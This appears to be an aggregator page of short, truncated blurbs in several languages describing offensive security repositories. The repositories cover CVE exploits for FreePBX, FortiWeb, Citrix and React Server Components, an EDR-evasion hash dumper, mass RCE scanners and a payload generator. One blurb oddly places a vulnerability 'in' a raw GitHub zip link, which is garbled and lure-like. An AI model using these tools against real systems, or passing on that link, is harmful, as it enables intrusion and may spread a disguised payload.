cve-2025-57819-exploit

CVE-2025-57819 Exploit Metadatos Gravedad: Crítica 9.8 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo: Inyección SQL no autenticada → Ejecución remota de código Software afectado: FreePBX módulo endpoint 15.0.66, 16.0.89 y 17.0.3 Probado en: FreePBX 16.0.40.7 en CentOS 7 con Apache 2.4...

vt-py-scanner

Escáner de VirusTotal Script de Python para analizar TODOS los archivos con la API de VirusTotal, escaneando carpetas y subcarpetas de forma recursiva. Optimizado para Windows. Características Escanea TODOS los archivos de una carpeta y sus subcarpetas Configuración mediante archivo .env - Guarda...

HashDump-BypassEDR

1 Resumen del proyecto Mediante el uso extendido del programa de confianza del sistema Reg.exe, se sortean hábilmente los puntos de interceptación del antivirus, logrando el objetivo de evadir el EDR para realizar un DumpHash. Según las pruebas reales, este método es eficaz contra los sistemas de...

CVE-2025-32462

CVE-2025-32462 – Script POC de sudo Este es un script de detección de escalada de privilegios CVE‑2025‑32462 , que ofrece dos modos: detección directa de sudo y detección de recorrido para usuarios no privilegiados. Estructura de archivos Archivo| Descripción ---|--- poc.sh| Archivo de verificaci...

CVE-2020-0688

Scanner CVE-2020-0688 Este é um pequeno script sujo para verificar servidores Exchange vulneráveis ao CVE-2020-0688 Está escrito de forma feia e em PHP. Atenção: Ele apenas verifica se você tem a atualização CU atual instalada. Isso não significa que você instalou o patch de correção de bug!...

CVE-2021-21972

CVE-2021-21972 checker VMware vCenter Server CVE-2021-21972 Remote Code Execution Vulnerability This script looks the existence of CVE-2021-21972 based on the following PATH "/ui/vropspluginui/rest/services/uploadova" trough a POST request and looking in response body 500 the words...

dorkX

dorkX 구글 도크 스캐너로 다른 도구들을 연결합니다 버전 1.0 설치 zoid@MSI /dorkX git clone https://github.com/ethicalhackingplayground/dorkX zoid@MSI /dorkX cd dorkX zoid@MSI /dorkX go build dorkx.go zoid@MSI /dorkX go build corsx.go zoid@MSI /dorkX go build csrfx.go zoid@MSI /dorkX go build zin.go 사용법: Blind XSS zoid@M...

mscache

mscache a tool to manipulate dccdomain cached credentials in windows registry, based mainly on the work of mimikatz and impacket requirements python2 pycrypto passlib impacket example root@kitploit: python mscache.py --security security --system system dumping domain cached credentials reg query...

CVE-2024-24919-Sniper

CVE-2024-24919-Sniper Visão geral O CVE-2024-24919 Sniper é um script Python projetado para escanear vulnerabilidades de divulgação de informações do Check Point Security Gateway. Este script pode realizar escaneamento tanto de alvo único quanto em lote, utilizando multithreading para melhorar a...

CVE-2025-63498

XSS almacenado en cookie Alinto/SOGo Investigadores: Daniil Khomichenok, Alexander Klimenko Versiones afectadas var cookieUsername = "[email protected]'123'"; var language = 'English'; var loginHint = '' Código del set-cookie para recordar el inicio de sesión, que acepta inyecciones XSS...

FortiWeb-CVE-2025-52970-Authentication-Bypass

🚨 Bypass de Autenticación en FortiWeb → Ejecución Remota de Código 📌 Descripción General Este repositorio demuestra un bypass de autenticación en FortiWeb que puede encadenarse para lograr Ejecución Remota de Código RCE. El exploit aprovecha un endpoint vulnerable para inyectar payloads SQL, subi...

CVE-2025-5777-Exploit

Herramienta de Explotación CVE-2025-5777 🔥 Una herramienta educativa potente diseñada para demostrar y analizar la vulnerabilidad CVE-2025-5777 que afecta a Citrix NetScaler VPN. Este proyecto es parte de la iniciativa GO-TO CVE. ⚠️ Solo con fines educativos. NO lo uses en sistemas que no poseas o...

CVE-2016-3088

CVE-2016-3088 Statement 一个基于Python的CVE-2016-3088利用脚本。 这是我的第一个脚本，所以可能有些地方不太合适。 但在我测试时它似乎运行正常。 Discription 该脚本可以在渗透CVE-2016-3088时省去抓包步骤， 从而让我们直接写入和移动文件。 Usage root@kitploit: python CVE-2016-3088.py --url http://ip:port/ --path absolutepath --script filename.txt 参数--script是可选的，如果不带该参数运行程序，它将使用内置的有效载...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 轻松安全地运行命令 🚀 概述 CVE-2025-55182 是存在于 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 和 React Server Components 中的一个漏洞。该问题由于 React Server Actions 中数据处理不当，允许未经授权的用户在受影响的服务器上执行任意代码。我们的应用程序提供了一个交互式...

Mystikal

Mystikal macOS 初期アクセスペイロードジェネレーター https://github.com/its-a-feature/Mythic と併用することを想定しています 関連ブログ記事: https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 使用方法: 1. ビルドマシンに Xcode をインストールします インストーラープラグイン付きインストーラーパッケージに必要 2. python の依存関係をインストールします root@kitploit: sudo pip3 install -r...

N4xD0rk

N4xD0rk Listing subdomains about a main domain using the technique called Hacking with search engines. Instalation You can download the latest version of N4xD0rk by cloning the GitHub repository: root@kitploit: git clone https://github.com/n4xh4ck5/N4xD0rk.git Install the dependencies via pip:...

CVE-2025-48384

CVE-2025-48384: Breaking git with a carriage return and cloning RCE Reproduction from https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. All credits to David Leadbeater. This is a basic reproduction attempt of the vulnerability. To trigger, do git clone --recursive...

thc-tips-tricks-hacks-cheat-sheet

THCのお気に入りのヒント、トリック＆ハック（チートシート） https://thc.org/tips 私たちのお気に入りのトリック集です。これらのトリックの多くは私たちが作ったものではありません。私たちは単に収集しているだけです。 トリックは、なぜ機能するのかの説明なしに「そのまま」示します。仕組みと理由を理解するにはLinuxの知識が必要です。 トリックをお持ちですか？ 参加してください https://thc.org/ops 1. Bash 1. ハックシェルをセットアップする 2. コマンドを隠す 3. コマンドラインオプションを隠す 4. ネットワーク接続を隠す 5...

CVE-2025-55182-MassPayloadAttack

CVE-2025-55182 대량 페이로드 공격 React2Shell CVE-2025-55182 React2Shell 를 대상으로 하는 수정된 대량 RCE 익스플로잇 스크립트로, Next.js 애플리케이션을 공격합니다. 이 도구는 pax-k의 원본 PoC 스크립트의 수정판 입니다. 원본 스크립트가 단일 호스트를 대상으로 하는 반면, 이 버전은 URL 목록에서 대량 스캔 을 지원하도록 개선되어, 효율적인 취약점 평가를 위해 페이로드 주입, 명령 실행, 출력 파싱을 자동화합니다. 🚀 기능 대량 익스플로잇 : 대상 URL 목록이 포함...

CVE-2025-68116

CVE-2025-68116 Autor: @x0root Vulnerabilidade: Cross-Site Scripting XSS Armazenado via Uploads Renderizáveis pelo Navegador SVG / HTML Software Afetado: FileRise Nota: O GHSA-qrcv-vjvf-fr29 introduziu uma mitigação que impedia a renderização de SVGs na interface web do F...